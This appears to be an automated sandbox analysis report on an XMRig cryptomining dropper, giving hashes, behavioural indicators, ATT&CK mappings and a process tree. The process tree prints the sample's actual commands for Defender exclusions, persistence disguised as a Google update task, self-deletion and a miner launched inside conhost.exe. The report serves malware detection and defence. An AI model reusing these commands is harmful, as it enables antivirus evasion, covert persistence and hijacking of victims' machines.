xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
1800s
max time network
1790s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
22-08-2024 20:59

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 700 created 1244	700	qM5GMXBk6hJE6Y5e (21).exe	21
PID 700 created 1244	700	qM5GMXBk6hJE6Y5e (21).exe	21
PID 700 created 1244	700	qM5GMXBk6hJE6Y5e (21).exe	21
PID 700 created 1244	700	qM5GMXBk6hJE6Y5e (21).exe	21
PID 2508 created 1244	2508	updater.exe	21
PID 2508 created 1244	2508	updater.exe	21
PID 2508 created 1244	2508	updater.exe	21
PID 2508 created 1244	2508	updater.exe	21
PID 2508 created 1244	2508	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral13/memory/788-46-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-45-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-48-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-50-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-52-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-54-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-56-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-58-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-60-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-62-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-64-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-66-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/788-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1652	powershell.exe
2168	powershell.exe
2112	powershell.exe
2356	powershell.exe

Deletes itself 1 IoCs

pid	Process
2920	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2508	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2380	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/788-41-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-46-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-45-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-48-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-50-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-52-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-54-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-56-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-58-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-60-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-62-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/788-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2508 set thread context of 3036	2508	updater.exe	48
PID 2508 set thread context of 788	2508	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (21).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1692	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d087fb2af1f4da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2812	schtasks.exe
2100	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
700	qM5GMXBk6hJE6Y5e (21).exe
700	qM5GMXBk6hJE6Y5e (21).exe
2112	powershell.exe
700	qM5GMXBk6hJE6Y5e (21).exe
700	qM5GMXBk6hJE6Y5e (21).exe
1652	powershell.exe
700	qM5GMXBk6hJE6Y5e (21).exe
700	qM5GMXBk6hJE6Y5e (21).exe
700	qM5GMXBk6hJE6Y5e (21).exe
700	qM5GMXBk6hJE6Y5e (21).exe
3028	powershell.exe
2508	updater.exe
2508	updater.exe
2356	powershell.exe
2508	updater.exe
2508	updater.exe
2168	powershell.exe
2508	updater.exe
2508	updater.exe
2508	updater.exe
2508	updater.exe
3036	conhost.exe
3036	conhost.exe
2508	updater.exe
2508	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2508	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1692	WMIC.exe
Token: SeSecurityPrivilege	1692	WMIC.exe
Token: SeTakeOwnershipPrivilege	1692	WMIC.exe
Token: SeLoadDriverPrivilege	1692	WMIC.exe
Token: SeSystemtimePrivilege	1692	WMIC.exe
Token: SeBackupPrivilege	1692	WMIC.exe
Token: SeRestorePrivilege	1692	WMIC.exe
Token: SeShutdownPrivilege	1692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1692	WMIC.exe
Token: SeUndockPrivilege	1692	WMIC.exe
Token: SeManageVolumePrivilege	1692	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1692	WMIC.exe
Token: SeSecurityPrivilege	1692	WMIC.exe
Token: SeTakeOwnershipPrivilege	1692	WMIC.exe
Token: SeLoadDriverPrivilege	1692	WMIC.exe
Token: SeSystemtimePrivilege	1692	WMIC.exe
Token: SeBackupPrivilege	1692	WMIC.exe
Token: SeRestorePrivilege	1692	WMIC.exe
Token: SeShutdownPrivilege	1692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1692	WMIC.exe
Token: SeUndockPrivilege	1692	WMIC.exe
Token: SeManageVolumePrivilege	1692	WMIC.exe
Token: SeLockMemoryPrivilege	788	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 2812	1652	powershell.exe	34
PID 1652 wrote to memory of 2812	1652	powershell.exe	34
PID 1652 wrote to memory of 2812	1652	powershell.exe	34
PID 2920 wrote to memory of 2732	2920	cmd.exe	39
PID 2920 wrote to memory of 2732	2920	cmd.exe	39
PID 2920 wrote to memory of 2732	2920	cmd.exe	39
PID 3028 wrote to memory of 3012	3028	powershell.exe	40
PID 3028 wrote to memory of 3012	3028	powershell.exe	40
PID 3028 wrote to memory of 3012	3028	powershell.exe	40
PID 2380 wrote to memory of 2508	2380	taskeng.exe	42
PID 2380 wrote to memory of 2508	2380	taskeng.exe	42
PID 2380 wrote to memory of 2508	2380	taskeng.exe	42
PID 2168 wrote to memory of 2100	2168	powershell.exe	47
PID 2168 wrote to memory of 2100	2168	powershell.exe	47
PID 2168 wrote to memory of 2100	2168	powershell.exe	47
PID 2508 wrote to memory of 3036	2508	updater.exe	48
PID 2280 wrote to memory of 1692	2280	cmd.exe	53
PID 2280 wrote to memory of 1692	2280	cmd.exe	53
PID 2280 wrote to memory of 1692	2280	cmd.exe	53
PID 2508 wrote to memory of 788	2508	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2100
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3036
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:2128
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:788

C:\Windows\system32\taskeng.exe
taskeng.exe {2A85BF92-79F9-4DA9-AB8E-038D1AA6ADF5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
93387d35cf3ea9b5b1b8648b3d8d5887

SHA1
6f5f3691fe6f37e38a28d69c2c3ae49fb0463b4a

SHA256
1db62494b21d5802de206e0a6fe8efe7225058018994ddfe8f7219014b1d5dc7

SHA512
07cb0d6a9e85617d0f71197141c5b4fea4baa48e8d3e622affacf9c44cd97ed2b657b57e714943ea34b8a85ce3f1d92497f4a521572cb52e9d048d820c015f32

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/700-0-0x000000013F200000-0x000000013F411000-memory.dmp

Filesize
2.1MB

Download
memory/700-23-0x000000013F200000-0x000000013F411000-memory.dmp

Filesize
2.1MB

Download
memory/788-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-42-0x00000000000D0000-0x00000000000F0000-memory.dmp

Filesize
128KB

Download
memory/788-41-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-46-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-45-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-48-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-50-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-52-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-54-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-56-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-58-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-60-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-62-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/788-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1652-21-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/1652-19-0x0000000002B00000-0x0000000002B80000-memory.dmp

Filesize
512KB

Download
memory/1652-20-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2112-8-0x000007FEF6890000-0x000007FEF722D000-memory.dmp

Filesize
9.6MB

Download
memory/2112-6-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2112-7-0x0000000002300000-0x0000000002308000-memory.dmp

Filesize
32KB

Download
memory/2112-9-0x000007FEF6890000-0x000007FEF722D000-memory.dmp

Filesize
9.6MB

Download
memory/2112-11-0x000007FEF6890000-0x000007FEF722D000-memory.dmp

Filesize
9.6MB

Download
memory/2112-5-0x000007FEF6B4E000-0x000007FEF6B4F000-memory.dmp

Filesize
4KB

Download
memory/2112-12-0x000007FEF6890000-0x000007FEF722D000-memory.dmp

Filesize
9.6MB

Download
memory/2112-13-0x000007FEF6890000-0x000007FEF722D000-memory.dmp

Filesize
9.6MB

Download
memory/2112-10-0x000007FEF6890000-0x000007FEF722D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-43-0x000000013F440000-0x000000013F651000-memory.dmp

Filesize
2.1MB

Download
memory/2508-33-0x000000013F440000-0x000000013F651000-memory.dmp

Filesize
2.1MB

Download
memory/3036-49-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/3036-44-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download